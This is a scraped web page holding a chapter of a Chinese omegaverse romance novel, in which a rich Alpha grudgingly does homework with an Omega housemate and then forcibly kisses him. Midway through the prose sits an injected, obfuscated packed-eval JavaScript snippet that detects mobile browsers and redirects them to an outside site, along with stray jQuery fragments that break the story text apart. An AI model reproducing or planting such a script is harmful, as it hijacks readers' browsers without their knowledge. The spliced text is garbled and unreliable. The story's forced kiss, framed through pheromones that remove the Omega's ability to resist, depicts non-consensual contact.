21.第 21 章

作品:《被弃养的劣等O

    次日。


    陆庭鹤下楼时正好碰见了刚从外边回来的沈泠。


    沈泠左边眉骨那块区域挺明显地肿了起来,眼皮上还浮起了一小块青紫色。


    把外套脱掉后他蹲下身,拆了一包不知道从哪儿掏出来的猫条喂栗子,栗子吃得很开心,每舔两口就殷勤地在沈泠手背上蹭两下。


    陆少爷往地上那一人一猫身上瞥了一眼,认定这条死猫就是一只谄媚背主的小太监,平时他给喂猫条,死猫吃一口就退开老远,过一会儿又馋得不行,又迅速跑回来再吃一口,接着重复这番操作。


    “别跟猫玩了,快去洗个手吃饭了。”佣工黄姐从他身边路过时顺口提醒道。


    沈泠这才起身进了洗手间。


    上菜时黄姐冷不丁往他脸上瞥了一眼,立即便大惊小叫起来:“哎呀,你这脸是怎么了?”


    沈泠:“昨晚不小心磕到了。“


    “磕哪儿了?这么严重?挺大个人了怎么这么不小心呢?”黄姐凑过来仔细看了眼,“再寸点就伤到眼睛了。”


    “一会儿我拿只药膏你自个涂一涂。”


    沈泠微微笑了一下,说了声谢谢。


    以往沈陆两人还会在餐桌上闲聊几句,可今天两人间的气氛却显得异常沉默尴尬。


    见陆少爷似乎没有要搭理他的意思,沈泠也就只好沉默地吃完了午饭,然后拿起外套准备回房间。


    正当他按下门把手即将进门的时候,后衣领却忽然被人从身后一把拽住了,没防备的沈泠踉跄了半步,偏过脸,眉角处已经被一只冰袋抵住了。


    沈泠无意识地闭了闭半边眼睛,不知是被冻的还是被碰疼了。


    陆庭鹤轻轻啧了一声,语气还是很不客气:“自己拿着。”


    沈泠连忙抬手去接,陆少爷的手还没来得及撤走,混乱中指尖与手背相触,陆庭鹤像被烫到了般,一把抽回了自己的手。


    “谢谢。”


    沈泠抬眼看向他,陆少爷纡尊降贵地丢给他一个冰袋,大概就算是要跟他求和的意思了,不过沈泠说完了谢谢,陆庭鹤还站在他跟前,没动。


    不等他开口询问,就见陆少爷有些不耐地:“今天不写作业了?”


    “嗯……”


    “过来写。”


    沈泠一时有点没懂少爷的意思,昨天、他们才刚刚闹了矛盾,他发怔地看向陆庭鹤:“嗯?”


    “让你过来写,”陆庭鹤冷冷地,“听不懂人话?”


    沈泠于是回到房间去拿自己的书包,然后跟在陆少爷身后再一次踏进了他的卧室。


    抱着书包坐下的时候他才发现,自己去年送给陆少爷的那只小盆栽从电脑桌边被移至书桌窗前。


    去年那会儿还是一丛圆润可爱的碧绿“小兔”,现在看上去却已经完全变异了,茂盛得像是蒜和葱的嵌合体。


    沈泠才刚从书包里掏出笔袋,陆庭鹤忽然拉了条椅子坐到了他旁边来,沈泠盯着他声势浩大地拉开抽屉扫了眼,陆少爷的书桌上除了跟学习有关的什么都有,但就是连根笔芯都找不到。


    陆庭鹤翻了半分钟,才又朝着沈泠看去:“有笔么,借我一把。”


    沈泠试探着问:“你要写……”


    陆庭鹤打断他:“你不是要人陪你写什么破卷子吗?”


    沈泠唯恐大少爷反悔,连忙从笔袋里挑出了一只最新的中性笔递给他,陆少爷还是嫌丑,干脆直接抢过他的笔袋,翻翻找找。


    很快他就发现,沈泠递给他的,已经是他笔袋里最像样的一支笔了。


    有支红笔甚至连壳都没有,那甚至就是根芯儿!


    沈泠平时看起来倒是个一丝不苟的人,没想到包里的文具跟让狗啃过一样。


    陆庭鹤嫌弃地把笔袋丢了回去,干脆起身去找自己的书包,少爷不爱读书、也不怎么写作业,因此包里的大多数笔还是九九新。


    等他终于挑到了顺手的笔,书桌边的沈泠已经心无旁骛地写完了一道中等难度、但计算复杂的大题。


    陆少爷基因里似乎天生就不带有专注学习的运行程序,一旦在正式考场之外的地方看见试卷,少爷就感觉屁股下跟长了几颗钉子似的。


    没写完两道选择题,陆庭鹤又认为自己身下这把椅子不好坐,非要跟沈泠换一条。


    沈泠从善如流地跟他换了,没过一会儿,少爷又开始怨笔不趁手、怪暖气温度太高、骂卷子纸质太差。


    好容易旁边消停了会儿,沈泠以为陆少爷总算进入状态了,没想到下一秒,陆庭鹤就用按压中性笔的笔帽部分戳了戳沈泠的手臂。


    一声清脆的声响。


    “你要学到什么时候?”


    沈泠被他吵得都有些不耐烦了,可面上却仍是温和的笑:“不是才刚开始吗?”


    眼看陆庭鹤又要不高兴了,沈泠打开手机计时器的页面:“要是不习惯的话,就先学25分钟,然后休息5分钟,可以吗?”


    陆庭鹤心说,当然不可以。


    学五分钟,然后休息二十五分钟的话他倒是可以考虑一下。


    没等到陆庭鹤的回应,沈泠于是又轻声追问了一句:“好吗?”


    陆庭鹤不经意间又瞥了他眉骨处的肿块和淤痕一眼,大概是少爷未曾宣之于口的愧疚心作祟,最终他还是打算先忍耐沈泠一天。


    “试试吧。”


    沈泠定好了时,把手机推到陆少爷旁边:“有不懂的题可以问我。”


    陆少爷平时在学校也并不是一点也没听,只是听一半丢一半睡一半,除了上课时当场布置的限时训练,陆庭鹤一回家就不会再去摸书包。


    卷子上的大部分基础题倒是能解出来,但那种需要一心一意调动脑细胞的题目,陆少爷就写得很痛苦。


    一抬眼,手机上的倒计时才过去了不到十分钟。


    他瞥了旁边刷刷动笔的沈泠一眼,觉得此人真是绝世罕见的书呆子,这种人让他去玩他都玩不明白。


    去年暑假陆庭鹤禁止他在自己的电脑上看网课后,沈泠先是玩了两天扫雷和蜘蛛纸牌,然后就在网上跟人下起了围棋。


    陆庭鹤认为他的“玩商”简直是未老先衰,十几岁的人,居然跟他祖父拥有同样的兴趣爱好。


    ……


    第三次计时开始。


    陆庭鹤毫无斗志地在桌上有一下没一下地摁着笔帽。


    随即他懒懒地伸长了半边手,侧着脸靠在曲起的手臂上,紧接着用膝盖撞了撞沈泠的大腿:“哎。”


    沈泠转头看向他。


    “我不会写。”


    沈泠立即靠了过来,看向他面前的卷子:“哪一题?”


    陆庭鹤随便指了一道大题。


    “你思考过了吗?”


    陆庭鹤敷衍地嗯了嗯。


    “心里有大致的切入点吗?”


    “没有。”


    沈泠在心里无奈地叹了口气,用铅笔在题干上圈圈画画,他的思路很简洁,只是怕少爷听不懂,所以有意地往细里讲。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955244|192501||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    讲完,他看向陆庭鹤的眼睛:“懂了吗?”


    陆庭鹤似笑非笑:“没懂。”


    沈泠也没生气,用橡皮把题干上的笔迹轻轻擦掉,又重新把题讲了一遍,这次他甚至放缓了语速。


    大概是怕陆少爷又听不懂,这次他更靠近了一些,膝盖无意识地碰着陆庭鹤的膝盖,说完几句话,他就看向陆庭鹤的眼睛:“到这里都能明白吧?”


    “嗯。”


    沈泠就这样喂小孩吃辅食似的,一口一口慢慢地喂,见他吐出来了就用勺子刮一刮再塞回他嘴里。


    草稿纸上又列出了密密麻麻的公式,终于喂完了,沈泠再次抬头看向陆庭鹤:“懂了吗?”


    “不是很懂。”


    表面一向好脾气的沈泠被他气得沉默了足有十几秒。


    但很快他就反应了过来,陆庭鹤虽然吊儿郎当,可在和光中学排名中游的成绩,在其他普通高中已经能算是名列前茅。


    至少从这一点上看来,陆少爷不大可能是个智|障。


    而且沈泠从没听说过历史上有哪个顶级信息素的Alpha天生智力低下,这太违背生物常识了。


    他那么耐心地把题干、解题思路条分缕析地讲给少爷听,除非陆庭鹤根本就没听,不然不至于听了两遍都没懂。


    也有一种可能……


    陆庭鹤就是故意的。


    沈泠缓缓地吐出口气,语气没变:“那我再给你讲一遍吧。”


    这次他干脆站起身,半俯着撑在桌面上给少爷讲题。


    别墅里暖气很足,沈泠脱掉外套后,里面就只剩下一件单薄的浅灰色长袖T恤。


    陆庭鹤认识这件衣服,毕竟Omega一年四季中有将近九个月都在穿这件睡衣。哦,好像还有一件白色的同款长袖在跟这件轮换着穿。


    本来就是偏宽大的版型,领口那里还洗得泄了形,他俯一点身,而陆庭鹤稍一抬眼,就能看见那底下若隐若现的春光。


    很小。Alpha的脑海中鬼使神差地闪过了这个词。


    还很……


    前所未有的浓烈心跳再度激起了一种令Alpha感到陌生且费解的情绪,因为陌生,所以还夹杂着熟悉的恐惧和愤怒。


    他看着沈泠不断张合的唇,然后忽地愤怒地撞了上去。


    除了力度太大,这个亲吻其实只算是抵过去贴了一贴。


    柔软、冰凉。


    陆庭鹤的“攻击”没有任何预兆,以至于沈泠一下子就愣住了。


    没等他回过神,陆庭鹤就扯住他的衣领,再度逼了上来。


    沈泠下意识想躲,可陆庭鹤的一只手却将他的腰身和一条手臂牢牢地锁住了。


    Alpha毫无章法地沿着他的唇线抵过,然后是一条拙笨又无比急躁的舌头,旋即唇舌翻|搅。


    当顶级Alpha的信息素混着津|液侵|入沈泠的身体,他几乎瞬间就失去了反抗能力,呼吸变得错乱,至于心跳……那是他的心脏吗?


    沈泠唯一一只自由的手紧紧攥住了陆庭鹤的手臂上的布料,在此之前,他从未体验过如此激烈而混乱的生|理|反|应。


    他不知道陆庭鹤是什么时候松开的他,沈泠觉得自己好像“尝”出了Alpha的信息素,猛烈的香气沿着身体中的神经脉络一路冲撞。


    沈泠的腿完全软了,整个人跌回到了椅子上,喘得很厉害。


    然后他像是意识到了什么,颤抖地伸手捂住了自己的后颈。